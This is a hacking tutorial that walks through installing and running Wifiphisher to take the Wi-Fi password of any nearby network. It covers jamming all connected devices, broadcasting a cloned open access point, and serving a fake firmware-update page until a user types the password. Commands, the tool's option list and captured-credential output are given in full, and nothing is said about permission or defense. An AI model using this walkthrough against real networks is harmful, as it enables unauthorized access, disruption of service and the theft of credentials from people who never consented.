While password cracking and WPS setup PIN attacks get a lot of attention, social engineering attacks are by far the fastest way of obtaining a Wi-Fi password. One of the most potent Wi-Fi social engineering attacks is Wifiphisher, a tool that blocks the internet until desperate users enter the Wi-Fi password to enable a fake router firmware update.
Social engineering attacks are powerful because they often completely bypass security. If you can trick an employee into entering a password into a fake login page, it doesn't matter how strong the password is. It's the opposite of cracking attacks, where you're using a computer's processing power to try a giant list of passwords quickly. But you cannot succeed if the password you are attacking is secure and not included in your password list.
Not knowing how strong the password you're attacking is can be frustrating, because investing the time and processing power involved in a dictionary or brute-force attack can make coming up dry feel like a massive waste of resources. Instead, tools like Wifiphisher ask questions about the people behind those networks.
Does the average user know what their Wi-Fi router's login page looks like? Would they notice if it was different? More importantly, would a busy user, cut off from the internet and stressed out but the disruption, still enter their password to enable a fake update even if they noticed the login page looked a little different?
Wifiphisher believes the answer is "yes." The tool can select any nearby Wi-Fi network, de-authenticate all users (jam it), and create a cloned access point that requires no password to join. Any user that connects to the evil twin-like open network is served a convincing-looking phishing page demanding the Wi-Fi password to enable a firmware update, which is explained as the reason the Wi-Fi has stopped working.
The Firmware Update from Hell
To the target of a social engineering attack, the first signs of Wifiphisher look like a problem with the router. First, the Wi-Fi cuts out. They can still see the network, but every attempt to connect to it immediately fails. Other devices are unable to connect to the network as well, and they begin to notice that not just one device, but every Wi-Fi device, has lost connection to the network.
That's when they notice a new network, with the same name as the old network, but requiring no password. After a few more attempts to join the protected network, they join the open network out of concern that their router is suddenly broadcasting a network without a password that anyone can join. As soon as they join, an official-looking webpage mentioning their router's manufacturer opens and informs them that the router is undergoing a critical firmware update. Until they enter the password to apply the update, the internet will not work.
After entering the super-secure Wi-Fi password, a loading screen begins to crawl across the screen as the router restarts, and they feel a little proud for taking their router's security seriously by installing this critical update. After a minute of waiting, their devices reconnect to the network, now more secure thanks to the update installed.
Easy Access with a Bossy Update
To a hacker, obtaining the passwords is as simple as selecting which network you want to target. After designating a target, Wifiphisher immediately jams all devices connected to the network, maximizing the chance that someone connected to the network gets frustrated and applies the fake update. Next, the target's network information is cloned, and the fake Wi-Fi network is broadcast to make the target think their router is operating in some unspecified update mode.
Devices connecting are immediately logged on a list, and the phishing page is tailored to match the manufacturer of the router by reading the first portion of the router's MAC address. After tricking any one of the targets connected to the targeted network into entering the password, Wifiphisher informs the hacker while stalling for time. After sending the captured password, the target is cruelly occupied with both a fake update loading screen and fake reboot timer to buy time for the hacker to test the captured password.
What You'll Need
For this attack to work, you'll need a Kali Linux compatible wireless network adapter. If you're not sure about which to pick, check out oneof our guides on selecting one that supports monitor mode and packet injection in the link below.
From left to right starting from top: [https://www.amazon.com/dp/B0035APGP6/ Alfa AWUS036NH]; [https://www.amazon.com/dp/B003YH1X48/ Alfa AWUS051NH]; [https://www.amazon.com/dp/B002SZEOLG/ TP-LINK TL-WN722N]; [https://www.amazon.com/dp/B0035OCVO6/ Alfa AWUS036NEH]; [https://www.amazon.com/dp/B00EQT0YK2/ Panda PAU05]; [https://www.amazon.com/Network-Wireless-802-11g-Adapter-AWUS036H/dp/B000WXSO76/?tag=whtnb-20 Alfa AWUS036H]; [https://www.amazon.com/Alfa-AWUS036NHA-Wireless-USB-Adaptor/dp/B004Y6MIXS/ Alfa AWUS036NHA].
Aside from a good wireless network adapter, you'll need a computer running Kali Linux, which you should first update by running apt update and apt upgrade. If you don't do this, you will very likely run into problems during the Wifiphisher installation process below.
Step 1: Install Wifiphisher
To get started, we can open a terminal window and type apt install wifiphisher to install Wifiphisher.
~# apt install wifiphisher
Reading package lists... Done
Building dependency tree
Reading state information... Done
wifiphisher is already the newest version (1.4+git20191215-0kali1).
The following packages were automatically installed and are no longer required:
dh-python libdouble-conversion1 liblinear3
Use 'apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 1891 not upgraded.If you want to try installing it from the GitHub repo, you can do so by cloning the repository and following the instructions on the GitHub page, as such:
~# git clone https://github.com/wifiphisher/wifiphisher.git
~# cd wifiphisher
~# sudo python setup.py installThis should install Wifiphisher, which you can start by just typing the name of the program in a terminal window from now on.
Step 2: Review Wifiphisher's Flags
You should be able to run the script at any time by simply typing sudo wifiphisher in a terminal window. While Wifiphisher has no manual page, you can see in its --help page that it has a pretty impressive list of configuration options you can change by adding various flags to the command.
~# wifiphisher --help
usage: wifiphisher [-h] [-i INTERFACE] [-eI EXTENSIONSINTERFACE]
[-aI APINTERFACE] [-iI INTERNETINTERFACE]
[-iAM MAC_AP_INTERFACE] [-iEM MAC_EXTENSIONS_INTERFACE]
[-iNM] [-kN] [-nE] [-nD]
[-dC DEAUTH_CHANNELS [DEAUTH_CHANNELS ...]] [-e ESSID]
[-dE DEAUTH_ESSID] [-p PHISHINGSCENARIO] [-pK PRESHAREDKEY]
[-hC HANDSHAKE_CAPTURE] [-qS] [-lC] [-lE LURE10_EXPLOIT]
[--logging] [-dK] [-lP LOGPATH] [-cP CREDENTIAL_LOG_PATH]
[--payload-path PAYLOAD_PATH] [-cM] [-wP]
[-wAI WPSPBC_ASSOC_INTERFACE] [-kB] [-fH]
[-pPD PHISHING_PAGES_DIRECTORY]
[--dnsmasq-conf DNSMASQ_CONF] [-pE PHISHING_ESSID]
optional arguments:
-h, --help show this help message and exit
-i INTERFACE, --interface INTERFACE
Manually choose an interface that supports both AP and
monitor modes for spawning the rogue AP as well as
mounting additional Wi-Fi attacks from Extensions
(i.e. deauth). Example: -i wlan1
-eI EXTENSIONSINTERFACE, --extensionsinterface EXTENSIONSINTERFACE
Manually choose an interface that supports monitor
mode for deauthenticating the victims. Example: -eI
wlan1
-aI APINTERFACE, --apinterface APINTERFACE
Manually choose an interface that supports AP mode for
spawning the rogue AP. Example: -aI wlan0
-iI INTERNETINTERFACE, --internetinterface INTERNETINTERFACE
Choose an interface that is connected on the
InternetExample: -iI ppp0
-iAM MAC_AP_INTERFACE, --mac-ap-interface MAC_AP_INTERFACE
Specify the MAC address of the AP interface
-iEM MAC_EXTENSIONS_INTERFACE, --mac-extensions-interface MAC_EXTENSIONS_INTERFACE
Specify the MAC address of the extensions interface
-iNM, --no-mac-randomization
Do not change any MAC address
-kN, --keepnetworkmanager
Do not kill NetworkManager
-nE, --noextensions Do not load any extensions.
-nD, --nodeauth Skip the deauthentication phase.
-dC DEAUTH_CHANNELS [DEAUTH_CHANNELS ...], --deauth-channels DEAUTH_CHANNELS [DEAUTH_CHANNELS ...]
Channels to deauth. Example: --deauth-channels 1,3,7
-e ESSID, --essid ESSID
Enter the ESSID of the rogue Access Point. This option
will skip Access Point selection phase. Example:
--essid 'Free WiFi'
-dE DEAUTH_ESSID, --deauth-essid DEAUTH_ESSID
Deauth all the BSSIDs in the WLAN with that ESSID.
-p PHISHINGSCENARIO, --phishingscenario PHISHINGSCENARIO
Choose the phishing scenario to run.This option will
skip the scenario selection phase. Example: -p
firmware_upgrade
-pK PRESHAREDKEY, --presharedkey PRESHAREDKEY
Add WPA/WPA2 protection on the rogue Access Point.
Example: -pK s3cr3tp4ssw0rd
-hC HANDSHAKE_CAPTURE, --handshake-capture HANDSHAKE_CAPTURE
Capture of the WPA/WPA2 handshakes for verifying
passphraseExample : -hC capture.pcap
-qS, --quitonsuccess Stop the script after successfully retrieving one pair
of credentials
-lC, --lure10-capture
Capture the BSSIDs of the APs that are discovered
during AP selection phase. This option is part of
Lure10 attack.
-lE LURE10_EXPLOIT, --lure10-exploit LURE10_EXPLOIT
Fool the Windows Location Service of nearby Windows
users to believe it is within an area that was
previously captured with --lure10-capture. Part of the
Lure10 attack.
--logging Log activity to file
-dK, --disable-karma Disables KARMA attack
-lP LOGPATH, --logpath LOGPATH
Determine the full path of the logfile.
-cP CREDENTIAL_LOG_PATH, --credential-log-path CREDENTIAL_LOG_PATH
Determine the full path of the file that will store
any captured credentials
--payload-path PAYLOAD_PATH
Payload path for scenarios serving a payload
-cM, --channel-monitor
Monitor if target access point changes the channel.
-wP, --wps-pbc Monitor if the button on a WPS-PBC Registrar is
pressed.
-wAI WPSPBC_ASSOC_INTERFACE, --wpspbc-assoc-interface WPSPBC_ASSOC_INTERFACE
The WLAN interface used for associating to the WPS
AccessPoint.
-kB, --known-beacons Broadcast a number of beacon frames advertising
popular WLANs
-fH, --force-hostapd Force the usage of hostapd installed in the system
-pPD PHISHING_PAGES_DIRECTORY, --phishing-pages-directory PHISHING_PAGES_DIRECTORY
Search for phishing pages in this location
--dnsmasq-conf DNSMASQ_CONF
Determine the full path of a custom dnmasq.conf file
-pE PHISHING_ESSID, --phishing-essid PHISHING_ESSID
Determine the ESSID you want to use for the phishing
pageStep 3: Plug in Your Wireless Network Adapter
Now is the time to prepare the wireless network adapter by plugging it in. Wifiphisher will put your card into wireless monitor mode for you if you don't do so yourself.
Step 4: Run the Script
I'm going to use my USB wireless network adapter, so I'll add an -i flag to the command and add the name of my network adapter. If I don't, Wifiphisher will just grab whatever network adapter it can.
To start the script, I'll run the following command.
~# wifiphisher -i wlan1Afterward, we should see a page showing every nearby network. We can select which network we want to attack here, and press Enter.
Options: [Esc] Quit [Up Arrow] Move Up [Down Arrow] Move Down
ESSID BSSID CH PWR ENCR CLIENTS VENDOR
_________________________________________________________________________________________
│ Probe Team CIC.m ██████████████ ███ 100% OPEN 0 Unknown │
│ ██████████████ ██████████████ ███ 100% WPA2 2 Belkin International │
│ █████████████ ██████████████ ███ 98% WPA2 0 Unknown │
│ ██████████████████ ██████████████ ███ 94% WPA2 6 Arris Group │
│ ████████████ ██████████████ ███ 86% WPA2/WPS 1 Unknown │
│ █████████████ ██████████████ ███ 78% WPA2/WPS 3 Belkin International │
│ ███████████ ██████████████ ███ 78% WPA2/WPS 0 Asustek Computer │
│ ████████████ ██████████████ ███ 78% WPA2/WPS 4 Hon Hai Precision Ind. │
│ ██████████████████ ██████████████ ███ 74% WPA2/WPS 0 Hon Hai Precision Ind. │
│ ████████████ ██████████████ ███ 74% WPA2 0 Unknown │
│ █████████████ ██████████████ ███ 74% WPA2/WPS 2 Technicolor CH USA │
│ ████████████ ██████████████ ███ 70% WPA2/WPS 1 Technicolor CH USA │
│ ███████████ ██████████████ ███ 70% WPA2 0 Unknown │
│ █████████████ ██████████████ ███ 90% WPA2 0 Unknown │
│ ████████████ ██████████████ ███ 66% WPA2 0 Unknown │
│ ████████████ ██████████████ ███ 66% WPA2/WPS 0 Hon Hai Precision Ind. │
│ ████████████ ██████████████ ███ 62% WPA2/WPS 2 Asustek Computer │
│ ███████████████ ██████████████ ███ 62% WPA2/WPS 3 Unknown │
│ █████████████ ██████████████ ███ 62% WPA2/WPS 0 Hon Hai Precision Ind. │
│ ████████████ ██████████████ ███ 58% WPA2/WPS 0 Hon Hai Precision Ind. │
│ █████████████ ██████████████ ███ 58% WPA2/WPS 0 Unknown │
│ ████████████████ ██████████████ ███ 58% WPA2 0 Unknown │
│ █████████████ ██████████████ ███ 58% WPA2/WPS 0 Hon Hai Precision Ind. │
│ ██████████ ██████████████ ███ 54% WPA2/WPS 0 Arris Group │
│ ██████████ ██████████████ ███ 46% WPA2 0 Tp-link Technologies │
│ ██████████████████ ██████████████ ███ 46% WPA2/WPS 0 Asustek Computer │
—————————————————————————————————————————————————————————————————————————————————————————Next, the script will ask what attack you want to run. Select option 2.
Options: [Esc] Quit [Up Arrow] Move Up [Down Arrow] Move Down
Available Phishing Scenarios:
1 - Network Manager Connect
Imitates the behavior of the network manager. This template shows Chrome's "Connection "Failed" page and displays a network manager window through the page asking for the pre-shared key. Currently, the network managers of Windows and MAC OS are supported.
2 - Firmware Upgrade Page
A router configuration page without logos or brands asking for WPA/WPA2 password due to a firmware upgrade. Mobile-friendly.
3 - OAuth Login Page
A free Wi-Fi Service asking for Facebook credentials to authenticate using OAuth
4 - Browser Plugin Update
A generic browser plugin update page that can be used to serve payloads to the victims.After selecting the attack, it will immediately launch. A page will open to monitor for targets joining the network. Wifiphisher will also listen for devices trying to connect to networks that aren't present, and it will create fake versions to lure those devices into connecting.
Extensions feed: │ Wifiphisher 1.4GIT
DEAUTH/DISAS - ██████████████████ │ ESSID:
DEAUTH/DISAS - ██████████████████ │ Channel: 11
│ AP interface: wlan1
│ Options: [ESC] Quit
│_________________________
Connected Victims:
HTTPS requests:After a target joins, a pop-up will demand they enter the password.
When the target enters the password, we're notified in the Wifiphisher screen.
Extensions feed:
DEAUTH/DISAS - ██████████████████
DEAUTH/DISAS - ██████████████████
DEAUTH/DISAS - ██████████████████
Victim ██████████████████ probed for WLAN with ESSID: 'FakeNed' (KARMA)
Victim ██████████████████ probed for WLAN with ESSID: 'Harmond Fernandez' (Evil Twin)
Connected Victims:
██████████████████ 10.0.0.13 Apple iOS/MacOS
██████████████████ 10.0.0.29 Murata Manufacturing
HTTPS requests:
[*] GET request from 10.0.0.13 for http://captive.apple.com/hotspot-detect.html
[*] GET request from 10.0.0.13 for http://captive.apple.com/hotspot-detect.html
[*] GET request from 10.0.0.13 for http://captive.apple.com/hotspot-detect.html
[*] POST request from 10.0.0.13 with wfphshr-wpa-password=myfatpassword
[*] GET request from 10.0.0.13 for http://captive.apple.com/hotspot-detect.htmlThat's it! The script will exit and present you with the password you just captured.
[*] Starting Wifiphisher 1.4GIT ( https://wifiphisher.org ) at 2020-02-04 08:10
[+] Timezone detected. Setting channel range to 1-13
[+] Selecting wfphshr-wlan0 interface for the deauthentication attack
[+] Selecting wlan1 interface for creating the rogue Access Point
[+] Changing wlan1 MAC addr (BSSID) to 00:00:00:31:8c:e5
[!] The MAC address could not be set. (Tried 00:00:00:ee:5c:95)
[+] Sending SIGKILL to wpa_supplicant
[+] Sending SIGKILL to dhclient
[+] Sending SIGKILL to dhclient
[+] Sending SIGKILL to NetworkManager
[*] Cleared leases, started DHCP, set up iptables
[+] Selecting Firmware Upgrade Page template
[*] Starting the fake access point...
[*] Starting HTTP/HTTPS server at ports 8080, 443
[+] Show your support!
[+] Follow us: https://twitter.com/wifiphisher
[+] Like us: https://www.facebook.com/Wifiphisher
[+] Captured credentials:
wfphshr-wpa-password=myfatpassword
[!] ClosingJust like that, you've bypassed any password security and tricked a user into entering the Wi-Fi password into your fake network. Even worse, they're still stuck behind this horrible slow-moving, fake loading screen.
If you're looking for a cheap, handy platform to get started working with Wifipfisher, check out our Kali Linux Raspberry Pi build using an inexpensive Raspberry Pi.
I hope you enjoyed this guide to social engineering attacks using Wifiphisher! If you have any questions about this tutorial capturing Wi-Fi passwords or you have a comment, do so below, and feel free to reach me on Twitter @KodyKinzie.
Cover image by Justin Meyers/Gadget Hacks; Screenshots by Kody/Null Byte
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